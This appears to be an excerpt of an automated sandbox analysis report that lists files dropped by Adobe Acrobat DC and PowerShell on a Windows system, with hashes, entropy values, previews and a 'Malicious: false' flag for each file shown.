MD5:	2B2243A94A1E865B1D7AF724480CAEE2
SHA1:	6577A477AB2E6ADF6781DC9C69C3D460E94577F5
SHA-256:	FB23C8AECA2FF366E1781A7B2D146F6D7B9F18F76C7C5663C05EF6C67DB1E9F9
SHA-512:	68240551ABE8F334F670BF6E86D6604AB475C39B66ED9A31DE7C075BC727873F08F4C55C8246115D17FFF3ED0D1D72200D5D1A6709C81C40193C7B32AC7E4730
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7706baa6-8e45-4f48-b15c-e44963549e2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738215809,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.264078084030318
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfPTwM6bRK7+FIbRI6XVW7+0YBoAvJf21rPeUkwRe9:YvXKXjfo5YpW7LG+16Ukee9
MD5:	1CC7C7C03E23316C161513020404B815
SHA1:	860CFC9A3C879369CB72B6AF6E7FBA414E456994
SHA-256:	17CB3704B5376FECA60AFFF88965249B710412FD1D8BBAB1F6C95F5EBC3EFA31
SHA-512:	07A384EB287BD4AE60985121190FC640CA0CD0A88803F3DF51CEB937CD852BE39C3C737154653549EE55625115785111347DBDEEAD2F3141FF6555C917A895FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7706baa6-8e45-4f48-b15c-e44963549e2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738215809,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664553884128442
Encrypted:	false
SSDEEP:	24:Yv6Xjfo6ikamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSaY:YvEoViBgkDMUJUAh8cvMaY
MD5:	5D80E76FCE6A1A6526E49484D4B038B3
SHA1:	2FEFC0AF9EC4536E3A26EE729CCC07EB9E78FE34
SHA-256:	A8D5C6C5D0D2958EF6A34D63AB6A73BAE73792A8F2A420559CD92919C2FEB161
SHA-512:	F3E601AF964AF04F32D81B0796BF6BCD79EB6D1C5A355051861D3E684CDCD82B7093B49EF01D7B24056929A005C92D157B417D5D47C3DABB7321A0F1232953B7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7706baa6-8e45-4f48-b15c-e44963549e2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738215809,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.241190054189449
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfPTwM6bRK7+FIbRI6XVW7+0YBoAvJfshHHrPeUkwRe9:YvXKXjfo5YpW7LGUUUkee9
MD5:	70C8BFFBEBE8AE57295086A97A1C09FD
SHA1:	D93D1365FCA207B11BA477D36CA78FF81972FA44
SHA-256:	3E1AD657246E46EA17BC76CD187AE988B5A0E6983434F84FD9F9868B3EA3732D
SHA-512:	8E39CA17317D64F10AB4D2CF2D5011AAA1CC869449DAFB82213FE5C944AE5F449437F9D5B8140A44F3E411919E210FEA70CCC27AAF80149C278D4672BEF0E14A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7706baa6-8e45-4f48-b15c-e44963549e2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738215809,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.25387462677291
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfPTwM6bRK7+FIbRI6XVW7+0YBoAvJTqgFCrPeUkwRe9:YvXKXjfo5YpW7LGTq16Ukee9
MD5:	D7B5662545B8F1426845EC33FF834EBC
SHA1:	BA97F67FBC45FB7687F3D4978495B9C50E5809AB
SHA-256:	37F3FB85E869DB96866005E1AF8944B5C62A2A1E4FD473D64AEF229BAA07DC9D
SHA-512:	798AA36F847D168A78B33D0827F7C77B9C7628D37F581732B95CE15BF38A8C8B3B6AE06FEDB48F1FF7830D66C02EC5A509E746E5AC076604E907F52F2607EBE9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7706baa6-8e45-4f48-b15c-e44963549e2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738215809,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137965531613539
Encrypted:	false
SSDEEP:	48:Y6Xzt5kwKwrMhA049evPCv15VoXezTmh9ej:jXx5qwrsA04CKTCuW/ej
MD5:	A64D6D28EFC76CA300096C406006F3C6
SHA1:	323C58954342B6A4BEBCB99BBB7D07B20A00CA8A
SHA-256:	96DB7F54A6A2F87C8FE831776AE80ED64357CB5620BC5601AD158640C14C3C73
SHA-512:	D49C5D032F687B79DA5B8C62E2C9D584F367293443D970B59E763139CCB470B604D453959277BA95614207806C1357CE8DE242C0AD2A98F30726B01D8FBB3C1F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4f069c2f36b721e60c1f25428804e531","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558455000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"adda6739dab2c3e5d13082565c0992ae","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736558455000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"53c33d571007149ac9d20a5b4b0dcec2","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736558455000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"12fefbb540989fd4de9f557510712d9b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736558455000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"89f40be618ec235c5c2ff17d69ae417c","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736558455000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"2834209d733e02babff01bdb9cb46284","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.984761704390406
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpuEoIc4zJwtNBwtNbRZ6bRZ4dEoIcF:TVl2GL7ms6ggOVpJPzutYtp6Pno
MD5:	095DAAF3343FF1F62800180C3BEE6DAA
SHA1:	14F3D0EB649A5402FD67F31D2D2B203206B1C96F
SHA-256:	5932A80BC5C05E753B739B904753CD42F4893FA2FD1590BC1F4C1A6929534377
SHA-512:	59F70C0A17E7F88F4B4CD3BFF6765273440DA3FD4031E11E38FBC3811F8664FE04FA9BD1AE08E0C96E872DF66A26120DE7031C864744870BC2ADAA594641F272
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3395890746453896
Encrypted:	false
SSDEEP:	24:7+tiAD1RZKHs/Ds/SpuEoIcPzJwtNBwtNbRZ6bRZWf1RZKWnqLBx/XYKQvGJF7uK:7MiGgOVpJ4zutYtp6PMfnqll2GL7msb
MD5:	FBFCFD0A94AA4105330E6F42D9CD1D1D
SHA1:	0D612FE7ACEFD191501E6FC086994B3219A60CF6
SHA-256:	05C2B0CCC473FCE9BC870929457A5A0392B47928A22DEB8B31FA7E03D7C098BE
SHA-512:	74335327DAB6CF7FB12D7C3596A533E9A50867D3545F8C08D63DF3F3AEE504317BFB55A6C202A903E380DED8EFC2ED119418809F217207A6CA2F75A847C52B82
Malicious:	false
Preview:	.... .c..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgWtH+BqlRU+uvylEmm0FXf+fbMCG2Yyu:6a6TZ44ADEWtH+8U+JEmm0NF2K
MD5:	4A322FC268293257507861107F2342B6
SHA1:	956A36D464C6BA520393E308CEB6101AF8F82227
SHA-256:	A27330AAA4C5761EF1990DC8587D9E9843F80C186CCC99367096ED3FA3D4B533
SHA-512:	89E09BBE22C1342E1E334B0BC30BA3D9ED44EC661E545160DDEF7B451F3A01D13966174774592F3D12B46170AE61A176872215E430E221FA3D07F25105CA175D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIc546c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClTH:Qw946cPbiOxDlbYnuRK+by
MD5:	7CF486672620DD13381D56E37AAC24B6
SHA1:	D470A23BFC5B0C7A35F2934ED2604348E0608484
SHA-256:	3F52EE7F13B064C342C1DF76617FA4EF8D068F7BF9F98DE6EAF45D1310A2C0F0
SHA-512:	9BAAFADF29B2757869E748B131A3C03232A176DA69C6CA27615073960D61A911D1B3CCD7016941ABFA4948410DC187F4A3811941B89FF6979F4FC0F11FA4A4A2
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.2.0.:.5.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_poyb54hj.w5o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wbrlpwpq.mao.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-20-48-147.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.320632105795752
Encrypted:	false
SSDEEP:	384:UgOZWgihDKnUU/Wv0xZ4QiHyu1AdKyOcRqJbl57TNB982XMMuLCG2/2vuH1M5r7a:dA0
MD5:	C6D47E21D265F6BFD2E87855AE4DF93A
SHA1:	0BD6AB630B89DEA9D1159DD69DBD773B94EBD793
SHA-256:	659ADA847D1E0E69376BE3CC32AEC6AB346B63ABA46AC11BE7A40650DB75217E
SHA-512:	16051536953412BDC8FDE06DC8E889E4068FED5D7C0E277A3B0D62BCE29225D7B7A2D8F5687295F2DE5D4D50ADD590C4866E8D62BCF14813579D55D88A9200A1
Malicious:	false
Preview:	SessionID=4a5a22e3-16d5-459d-bab1-112c0721818e.1736558448164 Timestamp=2025-01-10T20:20:48:164-0500 ThreadID=7748 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4a5a22e3-16d5-459d-bab1-112c0721818e.1736558448164 Timestamp=2025-01-10T20:20:48:170-0500 ThreadID=7748 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4a5a22e3-16d5-459d-bab1-112c0721818e.1736558448164 Timestamp=2025-01-10T20:20:48:170-0500 ThreadID=7748 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4a5a22e3-16d5-459d-bab1-112c0721818e.1736558448164 Timestamp=2025-01-10T20:20:48:170-0500 ThreadID=7748 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4a5a22e3-16d5-459d-bab1-112c0721818e.1736558448164 Timestamp=2025-01-10T20:20:48:170-0500 ThreadID=7748 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3928566895389585
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGba:xI
MD5:	9DD48A7BCA064D0F7F06C50026DD10D2
SHA1:	B500492FA63B72C5EB3F15E46CDECC32E19ABEB5
SHA-256:	07573AB4ED6F0D0BE6FE2E99FD219F2BEFE776D5D47A44413837A2347C7FAE5D
SHA-512:	F940844B3929822ECB33E88F698A97CF215636F63B2BA6126E0DFA9BDD89FDF4564EB9FF0652C2A34FC66296927738EB085CD5F5C8883E43A39183FC6DC6B039
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5c489906-10ff-436d-9c03-789d4e8ef6cf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xLtwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:JJwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	D38CB76360DDA78820460E5C5F20061C
SHA1:	F2B65831130B70F2A3DC345F70C4BEEDE9AB40E8
SHA-256:	55E70B5D5F8BE28D648BCDFE7DEB02BF4BBE2F626D620D4D838E0FA4FBF45F8E
SHA-512:	5E31738169A6FE92062B0E582489DEEAC2FA1798965DED94EFA994965470A15B5095851701E4DF631C5EC4454913272F1156EC46B32DA782D3C0F9E490C129A1
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\80571429-84d4-4a92-9435-d33f85c374b6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\9fb91a96-58e2-42f0-80a6-36bb93cd71a2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
